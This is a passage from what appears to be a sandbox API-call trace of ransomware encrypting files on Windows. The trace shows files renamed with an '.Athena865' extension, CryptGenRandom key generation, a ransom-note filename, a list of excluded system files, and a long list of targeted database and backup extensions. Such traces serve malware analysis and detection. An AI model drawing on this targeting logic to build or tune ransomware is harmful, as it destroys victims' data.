Office\\CLIPART\\PUB60COR\\WB02229_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif.athena865"), dwFlags=0x1) returned 1 [0135.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.925] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4139) returned 1 [0135.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.926] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.926] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.926] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.927] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1330, lpName=0x0) returned 0x154 [0135.929] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1330) returned 0x100000 [0135.934] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.936] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.936] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.937] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.937] CloseHandle (hObject=0x154) returned 1 [0135.937] CloseHandle (hObject=0x17c) returned 1 [0135.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.937] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WHIRL1.WMF", cAlternateFileName="")) returned 1 [0135.937] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.937] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.937] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2=".") returned 1 [0135.937] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="..") returned 1 [0135.937] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="windows") returned -1 [0135.937] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="bootmgr") returned 1 [0135.937] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="temp") returned 1 [0135.938] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="pagefile.sys") returned 1 [0135.938] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="boot") returned 1 [0135.938] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="ids.txt") returned 1 [0135.938] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="ntuser.dat") returned 1 [0135.938] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="perflogs") returned 1 [0135.938] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="MSBuild") returned 1 [0135.938] lstrlenW (lpString="WHIRL1.WMF") returned 10 [0135.938] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WHIRL1.WMF" | out: lpString1="WHIRL1.WMF") returned="WHIRL1.WMF" [0135.938] lstrlenW (lpString="WHIRL1.WMF") returned 10 [0135.938] lstrlenW (lpString="Athena865") returned 9 [0135.938] lstrcmpiW (lpString1="HIRL1.WMF", lpString2="Athena865") returned 1 [0135.938] lstrlenW (lpString=".dll") returned 4 [0135.938] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2=".dll") returned 1 [0135.938] lstrlenW (lpString=".lnk") returned 4 [0135.938] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2=".lnk") returned 1 [0135.938] lstrlenW (lpString=".ini") returned 4 [0135.938] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2=".ini") returned 1 [0135.938] lstrlenW (lpString=".sys") returned 4 [0135.938] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2=".sys") returned 1 [0135.938] lstrlenW (lpString="WHIRL1.WMF") returned 10 [0135.938] lstrlenW (lpString="bak") returned 3 [0135.938] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0135.938] lstrlenW (lpString="ba_") returned 3 [0135.938] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0135.938] lstrlenW (lpString="dbb") returned 3 [0135.939] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0135.939] lstrlenW (lpString="vmdk") returned 4 [0135.939] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0135.939] lstrlenW (lpString="rar") returned 3 [0135.939] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0135.939] lstrlenW (lpString="zip") returned 3 [0135.939] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0135.939] lstrlenW (lpString="tgz") returned 3 [0135.939] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0135.939] lstrlenW (lpString="vbox") returned 4 [0135.939] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0135.939] lstrlenW (lpString="vdi") returned 3 [0135.939] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0135.939] lstrlenW (lpString="vhd") returned 3 [0135.939] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0135.939] lstrlenW (lpString="vhdx") returned 4 [0135.939] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0135.939] lstrlenW (lpString="avhd") returned 4 [0135.939] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0135.939] lstrlenW (lpString="db") returned 2 [0135.939] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0135.939] lstrlenW (lpString="db2") returned 3 [0135.939] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0135.939] lstrlenW (lpString="db3") returned 3 [0135.939] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0135.939] lstrlenW (lpString="dbf") returned 3 [0135.940] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0135.940] lstrlenW (lpString="mdf") returned 3 [0135.940] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0135.940] lstrlenW (lpString="mdb") returned 3 [0135.940] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0135.940] lstrlenW (lpString="sql") returned 3 [0135.940] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0135.940] lstrlenW (lpString="sqlite") returned 6 [0135.940] lstrcmpiW (lpString1="L1.WMF", lpString2="sqlite") returned -1 [0135.940] lstrlenW (lpString="sqlite3") returned 7 [0135.940] lstrcmpiW (lpString1="RL1.WMF", lpString2="sqlite3") returned -1 [0135.940] lstrlenW (lpString="sqlitedb") returned 8 [0135.940] lstrcmpiW (lpString1="IRL1.WMF", lpString2="sqlitedb") returned -1 [0135.940] lstrlenW (lpString="xml") returned 3 [0135.940] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0135.940] lstrlenW (lpString="$er") returned 3 [0135.940] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0135.940] lstrlenW (lpString="4dd") returned 3 [0135.941] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0135.941] lstrlenW (lpString="4dl") returned 3 [0135.941] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0135.941] lstrlenW (lpString="^^^") returned 3 [0135.941] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0135.941] lstrlenW (lpString="abs") returned 3 [0135.941] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0135.941] lstrlenW (lpString="abx") returned 3 [0135.941] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0135.941] lstrlenW (lpString="accdb") returned 5 [0135.941] lstrcmpiW (lpString1="1.WMF", lpString2="accdb") returned -1 [0135.941] lstrlenW (lpString="accdc") returned 5 [0135.941] lstrcmpiW (lpString1="1.WMF", lpString2="accdc") returned -1 [0135.941] lstrlenW (lpString="accde") returned 5 [0135.941] lstrcmpiW (lpString1="1.WMF", lpString2="accde") returned -1 [0135.941] lstrlenW (lpString="accdr") returned 5 [0135.941] lstrcmpiW (lpString1="1.WMF", lpString2="accdr") returned -1 [0135.941] lstrlenW (lpString="accdt") returned 5 [0135.941] lstrcmpiW (lpString1="1.WMF", lpString2="accdt") returned -1 [0135.941] lstrlenW (lpString="accdw") returned 5 [0135.941] lstrcmpiW (lpString1="1.WMF", lpString2="accdw") returned -1 [0135.941] lstrlenW (lpString="accft") returned 5 [0135.941] lstrcmpiW (lpString1="1.WMF", lpString2="accft") returned -1 [0135.941] lstrlenW (lpString="adb") returned 3 [0135.941] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0135.941] lstrlenW (lpString="adb") returned 3 [0135.942] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0135.942] lstrlenW (lpString="ade") returned 3 [0135.942] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0135.942] lstrlenW (lpString="adf") returned 3 [0135.942] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0135.942] lstrlenW (lpString="adn") returned 3 [0135.942] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0135.942] lstrlenW (lpString="adp") returned 3 [0135.942] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0135.942] lstrlenW (lpString="alf") returned 3 [0135.942] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0135.942] lstrlenW (lpString="ask") returned 3 [0135.942] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0135.942] lstrlenW (lpString="btr") returned 3 [0135.942] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0135.942] lstrlenW (lpString="cat") returned 3 [0135.942] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0135.942] lstrlenW (lpString="cdb") returned 3 [0135.942] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0135.942] lstrlenW (lpString="ckp") returned 3 [0135.942] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0135.942] lstrlenW (lpString="cma") returned 3 [0135.942] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0135.942] lstrlenW (lpString="cpd") returned 3 [0135.942] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0135.942] lstrlenW (lpString="dacpac") returned 6 [0135.943] lstrcmpiW (lpString1="L1.WMF", lpString2="dacpac") returned 1 [0135.943] lstrlenW (lpString="dad") returned 3 [0135.943] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0135.943] lstrlenW (lpString="dadiagrams") returned 10 [0135.943] lstrlenW (lpString="daschema") returned 8 [0135.943] lstrcmpiW (lpString1="IRL1.WMF", lpString2="daschema") returned 1 [0135.943] lstrlenW (lpString="db-journal") returned 10 [0135.943] lstrlenW (lpString="db-shm") returned 6 [0135.943] lstrcmpiW (lpString1="L1.WMF", lpString2="db-shm") returned 1 [0135.943] lstrlenW (lpString="db-wal") returned 6 [0135.943] lstrcmpiW (lpString1="L1.WMF", lpString2="db-wal") returned 1 [0135.943] lstrlenW (lpString="dbc") returned 3 [0135.943] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0135.943] lstrlenW (lpString="dbs") returned 3 [0135.943] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0135.943] lstrlenW (lpString="dbt") returned 3 [0135.943] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0135.943] lstrlenW (lpString="dbv") returned 3 [0135.943] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0135.943] lstrlenW (lpString="dbx") returned 3 [0135.943] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0135.943] lstrlenW (lpString="dcb") returned 3 [0135.943] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0135.943] lstrlenW (lpString="dct") returned 3 [0135.943] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0135.943] lstrlenW (lpString="dcx") returned 3 [0135.943] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0135.944] lstrlenW (lpString="ddl") returned 3 [0135.944] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0135.944] lstrlenW (lpString="dlis") returned 4 [0135.944] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0135.944] lstrlenW (lpString="dp1") returned 3 [0135.944] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0135.944] lstrlenW (lpString="dqy") returned 3 [0135.944] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0135.944] lstrlenW (lpString="dsk") returned 3 [0135.944] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0135.944] lstrlenW (lpString="dsn") returned 3 [0135.944] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0135.944] lstrlenW (lpString="dtsx") returned 4 [0135.944] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0135.944] lstrlenW (lpString="dxl") returned 3 [0135.944] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0135.944] lstrlenW (lpString="eco") returned 3 [0135.944] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0135.944] lstrlenW (lpString="ecx") returned 3 [0135.944] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0135.944] lstrlenW (lpString="edb") returned 3 [0135.944] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0135.944] lstrlenW (lpString="epim") returned 4 [0135.944] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0135.944] lstrlenW (lpString="fcd") returned 3 [0135.944] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0135.945] lstrlenW (lpString="fdb") returned 3 [0135.945] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0135.945] lstrlenW (lpString="fic") returned 3 [0135.945] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0135.945] lstrlenW (lpString="flexolibrary") returned 12 [0135.945] lstrlenW (lpString="fm5") returned 3 [0135.945] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0135.945] lstrlenW (lpString="fmp") returned 3 [0135.945] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0135.945] lstrlenW (lpString="fmp12") returned 5 [0135.945] lstrcmpiW (lpString1="1.WMF", lpString2="fmp12") returned -1 [0135.945] lstrlenW (lpString="fmpsl") returned 5 [0135.945] lstrcmpiW (lpString1="1.WMF", lpString2="fmpsl") returned -1 [0135.945] lstrlenW (lpString="fol") returned 3 [0135.945] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0135.945] lstrlenW (lpString="fp3") returned 3 [0135.945] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0135.945] lstrlenW (lpString="fp4") returned 3 [0135.945] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0135.945] lstrlenW (lpString="fp5") returned 3 [0135.945] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0135.945] lstrlenW (lpString="fp7") returned 3 [0135.945] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0135.945] lstrlenW (lpString="fpt") returned 3 [0135.945] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0135.945] lstrlenW (lpString="frm") returned 3 [0135.945] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0135.946] lstrlenW (lpString="gdb") returned 3 [0135.946] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0135.946] lstrlenW (lpString="gdb") returned 3 [0135.946] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0135.946] lstrlenW (lpString="grdb") returned 4 [0135.946] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0135.946] lstrlenW (lpString="gwi") returned 3 [0135.946] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0135.946] lstrlenW (lpString="hdb") returned 3 [0135.946] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0135.946] lstrlenW (lpString="his") returned 3 [0135.946] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0135.946] lstrlenW (lpString="ib") returned 2 [0135.946] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0135.946] lstrlenW (lpString="idb") returned 3 [0135.946] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0135.946] lstrlenW (lpString="ihx") returned 3 [0135.946] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0135.946] lstrlenW (lpString="itdb") returned 4 [0135.946] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0135.946] lstrlenW (lpString="itw") returned 3 [0135.946] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0135.946] lstrlenW (lpString="jet") returned 3 [0135.946] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0135.946] lstrlenW (lpString="jtx") returned 3 [0135.946] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0135.947] lstrlenW (lpString="kdb") returned 3 [0135.947] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0135.947] lstrlenW (lpString="kexi") returned 4 [0135.947] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0135.947] lstrlenW (lpString="kexic") returned 5 [0135.947] lstrcmpiW (lpString1="1.WMF", lpString2="kexic") returned -1 [0135.947] lstrlenW (lpString="kexis") returned 5 [0135.947] lstrcmpiW (lpString1="1.WMF", lpString2="kexis") returned -1 [0135.947] lstrlenW (lpString="lgc") returned 3 [0135.947] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0135.947] lstrlenW (lpString="lwx") returned 3 [0135.947] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0135.947] lstrlenW (lpString="maf") returned 3 [0135.947] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0135.947] lstrlenW (lpString="maq") returned 3 [0135.947] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0135.947] lstrlenW (lpString="mar") returned 3 [0135.947] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0135.947] lstrlenW (lpString="marshal") returned 7 [0135.947] lstrcmpiW (lpString1="RL1.WMF", lpString2="marshal") returned 1 [0135.947] lstrlenW (lpString="mas") returned 3 [0135.947] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0135.947] lstrlenW (lpString="mav") returned 3 [0135.947] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0135.947] lstrlenW (lpString="maw") returned 3 [0135.947] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0135.948] lstrlenW (lpString="mdbhtml") returned 7 [0135.948] lstrcmpiW (lpString1="RL1.WMF", lpString2="mdbhtml") returned 1 [0135.948] lstrlenW (lpString="mdn") returned 3 [0135.948] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0135.948] lstrlenW (lpString="mdt") returned 3 [0135.948] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0135.948] lstrlenW (lpString="mfd") returned 3 [0135.948] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0135.948] lstrlenW (lpString="mpd") returned 3 [0135.948] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0135.948] lstrlenW (lpString="mrg") returned 3 [0135.948] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0135.948] lstrlenW (lpString="mud") returned 3 [0135.948] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0135.948] lstrlenW (lpString="mwb") returned 3 [0135.948] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0135.948] lstrlenW (lpString="myd") returned 3 [0135.948] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0135.948] lstrlenW (lpString="ndf") returned 3 [0135.948] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0135.948] lstrlenW (lpString="nnt") returned 3 [0135.948] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0135.948] lstrlenW (lpString="nrmlib") returned 6 [0135.948] lstrcmpiW (lpString1="L1.WMF", lpString2="nrmlib") returned -1 [0135.948] lstrlenW (lpString="ns2") returned 3 [0135.948] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0135.949] lstrlenW (lpString="ns3") returned 3 [0135.949] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0135.949] lstrlenW (lpString="ns4") returned 3 [0135.949] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0135.949] lstrlenW (lpString="nsf") returned 3 [0135.949] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0135.949] lstrlenW (lpString="nv") returned 2 [0135.949] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0135.949] lstrlenW (lpString="nv2") returned 3 [0135.949] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0135.949] lstrlenW (lpString="nwdb") returned 4 [0135.949] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0135.949] lstrlenW (lpString="nyf") returned 3 [0135.949] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0135.949] lstrlenW (lpString="odb") returned 3 [0135.949] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0135.949] lstrlenW (lpString="odb") returned 3 [0135.949] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0135.949] lstrlenW (lpString="oqy") returned 3 [0135.949] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0135.949] lstrlenW (lpString="ora") returned 3 [0135.949] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0135.949] lstrlenW (lpString="orx") returned 3 [0135.949] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0135.949] lstrlenW (lpString="owc") returned 3 [0135.949] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0135.949] lstrlenW (lpString="p96") returned 3 [0135.950] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0135.950] lstrlenW (lpString="p97") returned 3 [0135.950] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0135.950] lstrlenW (lpString="pan") returned 3 [0135.950] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0135.950] lstrlenW (lpString="pdb") returned 3 [0135.950] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0135.950] lstrlenW (lpString="pdm") returned 3 [0135.950] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0135.950] lstrlenW (lpString="pnz") returned 3 [0135.950] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0135.950] lstrlenW (lpString="qry") returned 3 [0135.950] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0135.950] lstrlenW (lpString="qvd") returned 3 [0135.950] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0135.950] lstrlenW (lpString="rbf") returned 3 [0135.950] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0135.950] lstrlenW (lpString="rctd") returned 4 [0135.950] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0135.950] lstrlenW (lpString="rod") returned 3 [0135.950] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0135.950] lstrlenW (lpString="rodx") returned 4 [0135.950] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0135.950] lstrlenW (lpString="rpd") returned 3 [0135.950] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0135.950] lstrlenW (lpString="rsd") returned 3 [0135.950] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0135.951] lstrlenW (lpString="sas7bdat") returned 8 [0135.951] lstrcmpiW (lpString1="IRL1.WMF", lpString2="sas7bdat") returned -1 [0135.951] lstrlenW (lpString="sbf") returned 3 [0135.951] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0135.951] lstrlenW (lpString="scx") returned 3 [0135.951] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0135.951] lstrlenW (lpString="sdb") returned 3 [0135.951] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0135.951] lstrlenW (lpString="sdc") returned 3 [0135.951] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0135.951] lstrlenW (lpString="sdf") returned 3 [0135.951] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0135.951] lstrlenW (lpString="sis") returned 3 [0135.951] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0135.951] lstrlenW (lpString="spq") returned 3 [0135.951] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0135.951] lstrlenW (lpString="te") returned 2 [0135.951] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0135.951] lstrlenW (lpString="teacher") returned 7 [0135.951] lstrcmpiW (lpString1="RL1.WMF", lpString2="teacher") returned -1 [0135.951] lstrlenW (lpString="tmd") returned 3 [0135.951] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0135.951] lstrlenW (lpString="tps") returned 3 [0135.951] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0135.951] lstrlenW (lpString="trc") returned 3 [0135.951] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0135.952] lstrlenW (lpString="trc") returned 3 [0135.952] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0135.952] lstrlenW (lpString="trm") returned 3 [0135.952] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0135.952] lstrlenW (lpString="udb") returned 3 [0135.952] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0135.952] lstrlenW (lpString="udl") returned 3 [0135.952] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0135.952] lstrlenW (lpString="usr") returned 3 [0135.952] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0135.952] lstrlenW (lpString="v12") returned 3 [0135.952] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0135.952] lstrlenW (lpString="vis") returned 3 [0135.952] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0135.952] lstrlenW (lpString="vpd") returned 3 [0135.952] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0135.952] lstrlenW (lpString="vvv") returned 3 [0135.952] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0135.952] lstrlenW (lpString="wdb") returned 3 [0135.952] lstrcmpiW 